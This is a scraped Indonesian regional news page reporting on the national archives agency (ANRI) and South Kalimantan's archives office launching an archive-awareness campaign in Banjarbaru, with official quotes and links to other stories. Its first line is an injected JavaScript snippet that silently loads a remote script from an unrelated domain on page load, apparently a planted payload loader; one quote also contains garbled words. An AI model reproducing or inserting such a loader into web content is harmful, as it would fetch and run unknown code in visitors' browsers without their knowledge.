(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Arsip Nasional Republik Indonesia (ANRI) bersama Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan telah mencanangkan Gerakan Sadar dan Tertib Arsip di Hotel Roditha Banjarbaru, Selasa (19/11) pagi.
Adapun Gerakan ini ini merupakan kegiatan membangun kesadaran tentang pentingnya tertib mengelola arsip. Penyimpanan dan pengelolaan arsip yang baik merupakan bagian penting dari pencapaian kinerja instansi atau organisasi, dan untuk melihat hasil kinerja pada masa sebelumnya.
Dispersip Kalsel mengadakan sosialisasi pencangangan gerakan ini dengan harapan agar ratusan peserta yang didominasi SKPD, sekolah, dan BUMD di lingkup Provinsi Kalsel, dapat menumbuhkan kepedulian terhadap pengelolaan arsip yang belum begitu optimal.
Sekretaris Utama ANRI, Sumrahyadi, Kalsel masih perlu meningkatkan kesadaran karena berdasarkan penilaian pihaknya masih tergolong kategori cukup.
“Ada lima kategori, sangat buruk, buruk, cukup, baik, dan sangat baik. Kalsel masih kategori cukup. Dulu 2016 pernah buruk, tapi terus ada peningkatan,” katanya.
Agar penilaian tata kelola arsip lebih baik lagi, Sumrahyadi pun mendorong agar instrumen pengelolaan arsip seperti sarana prasarana dan SDM lebih ditingkatkan. Karena sejauh ini, ia melihat pangkal masalahnya terdapat dalam dua hal tersebut.
“Di Kalsel masih ada kekurangan seperti instrumen pengelolaan arsip belum memadai. Lalu dari segi sarana prasarana juga banyak yang belum dibangun, tiadwqp SKPD belum punya ruani ng arsip. Serta tenaga arsiparis masih dirasa kurang. Itu yang perlu ditingkatkan,” beber Sumrahyadi
Ia juga mengingatkan pentingnya menaruh tenaga arsiparis pada setiap bidang di SKPD. Ini agar tak terjadi tumpang tindih pengelolaan arsip pada satu dinas atau SKPD.
“Pengelolaan arsip yang baik ini agar terwujudnya konsep good and clean governance. Gampang dan mudah saat dicari, begitu pula saat ingin dipertanggungjawabkan,” kata Sumrahyadi.
Sementara itu, Kepala Dispersip Kalsel, Nurliani Dardi, berkata agenda ini merupakan cara pemprov menumbuhkan kesadaran masif menjaga arsip.
“Sebagai Kadispersip, kita ingin keadilan. Tidak hanya fokus bergerak untuk minat baca tapi pada saat yang sama juga kita harus bergerak mengejar ketertinggalan pengelolaan arsip,” kata Nurliani. (Rico)
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More
This website uses cookies.